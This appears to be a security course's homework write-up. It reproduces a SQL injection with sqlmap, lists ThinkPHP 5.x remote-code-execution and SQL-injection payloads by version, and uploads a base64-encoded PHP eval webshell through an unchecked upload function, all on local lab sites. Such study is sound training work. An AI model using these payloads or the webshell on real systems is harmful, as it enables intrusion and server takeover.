C11期作业18(07.12)
目录
【漏洞编号】CNVD-2018-24942
一、对微商城系统进行代码审计,分析复现文件上传、sql注入等漏洞
文件上传漏洞:见C11期作业17(07.05) 的第四题
sql注入漏洞示例(goods.php)
代码审计:id参数未做输入控制,且查询数据展示在页面(可使用union注入)
复现漏洞
手工方式
使用sqlmap(更简单)
二、复习ThinkPHP框架基础知识,重点掌握url传参方式以及获取用户参数的写法
安装和运行:使用composer安装5.0.15版本
安装composer:通过phpstudy安装(软件管理页)
打开composer
配置composer镜像
创建tp5目录,composer命令行切换到此目录,执行命令(实际下载5.0的最新版本)
更新代码为5.0.15版本
phpstudy中配置站点,访问站点
目录结构
url传参方式(不考虑路由配置)
PATH_INFO⽅式
兼容模式
获取用户参数(这里使用更方便的方式:input助手函数)
函数声明:input('变量类型.变量名/修饰符','默认值','过滤规则')
变量类型
修饰符(类型强转的过滤方式)
过滤规则
默认值:参数不存在,或过滤失败时使用
三、复习ThinkPHP框架漏洞,重点掌握框架代码执行漏洞及工具使用,了解sql注入漏洞及常见不安全写法
代码执行漏洞
原理:ThinkPHP 底层没有对控制器名进⾏很好的合法性校验,导致在未开启强制路由的情况下,⽤户可以调用任意类的任意⽅法,最终导致 远程代码执⾏漏洞 的产⽣
漏洞利用方式(thinkphp5.0.15版本,测试可用的一些)
sql注入漏洞
框架漏洞
准备
insert方法注入
update方法注入
select方法注入
order by方法注入
聚合函数注入
常见不安全写法
四、搭建部署脱单交友平台并审计复现任意文件写入漏洞
平台搭建
获取源码
创建库表
创建站点
配置伪静态
站点访问
复现漏洞
问题代码(base64Image函数):对文件后缀未验证,存在任意文件上传漏洞
base64Image函数调用位置
漏洞利用
生成data参数值
上传php一句话木马文件,成功
利用上传的一句话木马
一、对微商城系统进行代码审计,分析复现文件上传、sql注入等漏洞
-
文件上传漏洞:见C11期作业17(07.05) 的第四题
-
sql注入漏洞示例(goods.php)
-
代码审计:id参数未做输入控制,且查询数据展示在页面(可使用union注入)
-
复现漏洞
-
手工方式
-
使用sqlmap(更简单)
python sqlmap.py -u http://mall.com/goods.php?id=-1 --batch
-
-
二、复习ThinkPHP框架基础知识,重点掌握url传参方式以及获取用户参数的写法
-
安装和运行:使用composer安装5.0.15版本
-
安装composer:通过phpstudy安装(软件管理页)
-
打开composer
-
配置composer镜像
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/
-
创建tp5目录,composer命令行切换到此目录,执行命令(实际下载5.0的最新版本)
composer create-project --prefer-dist topthink/think=5.0.15 .
-
更新代码为5.0.15版本
- 在composer.json ⽂件此处更改版本号为5.0.15
- 执⾏composer update
- 在composer.json ⽂件此处更改版本号为5.0.15
-
phpstudy中配置站点,访问站点
-
-
目录结构
-
url传参方式(不考虑路由配置)
-
PATH_INFO⽅式
-
兼容模式
-
-
获取用户参数(这里使用更方便的方式:input助手函数)
-
函数声明:input('变量类型.变量名/修饰符','默认值','过滤规则')
-
变量类型
-
修饰符(类型强转的过滤方式)
-
过滤规则
-
支持:自定义的函数或方法、php内置的过滤规则,支持多个
-
设置
-
全局设置:配置文件/Request
-
获取变量时指定
-
-
-
默认值:参数不存在,或过滤失败时使用
-
三、复习ThinkPHP框架漏洞,重点掌握框架代码执行漏洞及工具使用,了解sql注入漏洞及常见不安全写法
-
代码执行漏洞
-
原理:ThinkPHP 底层没有对控制器名进⾏很好的合法性校验,导致在未开启强制路由的情况下,⽤户可以调用任意类的任意⽅法,最终导致 远程代码执⾏漏洞 的产⽣
-
漏洞利用方式(thinkphp5.0.15版本,测试可用的一些)
- post数据:_method=__construct&filter[]=system&method=get&get[]=calc
- ?s=index/think\config/get&name=database.username
- ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=sy
stem&vars[1][]=calc
-
-
sql注入漏洞
-
框架漏洞
-
准备
- 创建数据库和表
create database tpdemo;use tpdemo;create table users(id int primary key auto_increment,username varchar(50) not null );
- 在database.php修改数据库连接相关参数
- 开启config.php 中的 app_debug 和 app_trace
- 创建数据库和表
-
insert方法注入
- 原理:Builder 类的 parseData ⽅法中。由于程序没有对数据进⾏很好的过滤,将数据拼接进 SQL 语句,导致 SQL注⼊漏洞 的产⽣
- 漏洞版本:5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
- 代码示例
class Vul {public function sql(){$username = Input('username/a');db('users')->insert(['username' => $username]);return 'Update success';} }
- 执行方式
http://tp.com/index.php/test/vul/sql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
-
update方法注入
- 原理:Mysql 类的 parseArrayData ⽅法中由于程序没有对数据进⾏很好的过滤,将数据拼接进 SQL 语句,导致 SQL注⼊漏洞 的产⽣
- 漏洞版本:5.1.6<=ThinkPHP<=5.1.7 (⾮最新的 5.1.8 版本也可利⽤)
- 代码示例
class Vul {public function sql(){$username = Input('username/a');db('users')->where(['id' => 1])->update(['username' => $username]);return 'Update success';} }
- 执行方式(非本人安装版本未验证)
?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
-
select方法注入
- 原理:Mysql 类的 parseWhereItem ⽅法中。由于程序没有对数据进⾏很好的过滤,直接将数据拼接进 SQL语句。再⼀个, Request 类的 filterValue ⽅法漏过滤 NOT LIKE 关键字,最终导致 SQL注⼊漏洞 的产⽣
- 漏洞版本:5.0.10
- 代码示例
class Vul {public function sql(){$username = request()->get('username/a');$result = db('users')->where(['username' => $username])->select();var_dump($result);} }
- 执行方式(非本人安装版本未验证)
?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()#
-
order by方法注入
- 原理:Builder 类的 parseOrder ⽅法中。由于程序没有对数据进⾏很好的过滤,直接将数据拼接进 SQL语句,最终导致 SQL注⼊漏洞 的产⽣
- 漏洞版本:5.1.16<=ThinkPHP5<=5.1.22
- 代码示例
class Vul {public function sql(){$orderby = request()->get('orderby');$result = db('users')->where(['username' => 'mochazz'])->order($orderby)->find();var_dump($result);} }
- 执行方式(非本人安装版本未验证)
orderby[id`|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
-
聚合函数注入
- 原理:此漏洞存在于所有 Mysql 聚合函数相关⽅法。由于程序没有对数据进⾏很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注⼊漏洞 的产⽣
- 漏洞版本:5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25
- 代码示例
- 执行方式
- 版本:5.0.0~5.0.21 、 5.1.3~5.1.10
http://tp.com/index.php/test/vul/sql?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users%23
- 版本:5.1.11~5.1.25 (非本人安装版本未验证)
?id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)+from+users%23
- 版本:5.0.0~5.0.21 、 5.1.3~5.1.10
-
-
常见不安全写法
- 如where语句中存在输入变量,会存在union注入漏洞
- 示例代码:
- 示例一
- 示例二
- 示例一
-
四、搭建部署脱单交友平台并审计复现任意文件写入漏洞
-
平台搭建
-
获取源码
- 下载。下载地址:https://www.njymz.com/10096.html
- 解压下载文件,继续解压sql文件
- 将解压后sql文件放到www目录下,然后将www目录改名为you,复制you目录到phpstudy的www目录下,如下
-
创建库表
- 创建数据库:you
- 执行sql:在you数据库中执行上面的sql
- 修改数据库配置
-
创建站点
-
配置伪静态
-
不配置很多页面会访问异常
-
将public目录的.htaccess文件内容改为如下
<IfModule mod_rewrite.c>RewriteEngine onRewriteCond %{REQUEST_FILENAME} !-dRewriteCond %{REQUEST_FILENAME} !-fRewriteRule ^(.*)$ index.php [L,E=PATH_INFO:$1] </IfModule>
-
-
站点访问
- 后管入口:输入tp.com,会跳转到后管登陆页面。账密:admin,123456
- 前台入口:tp.com/app
- 后管入口:输入tp.com,会跳转到后管登陆页面。账密:admin,123456
-
-
复现漏洞
-
问题代码(base64Image函数):对文件后缀未验证,存在任意文件上传漏洞
-
base64Image函数调用位置
-
前台和后管各有一处
-
如下是前台调用的控制器和方法(参数是数组)
-
-
漏洞利用
-
生成data参数值
- 前面部分(固定部分+自定义文件扩展名):data:image/php;base64,
- 后面部分(文件内容)
- php一句话木马
<?php @eval($_GET['cmd']); ?>
- base64加密为:PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTsgPz4=
- php一句话木马
-
上传php一句话木马文件,成功
-
利用上传的一句话木马
-
-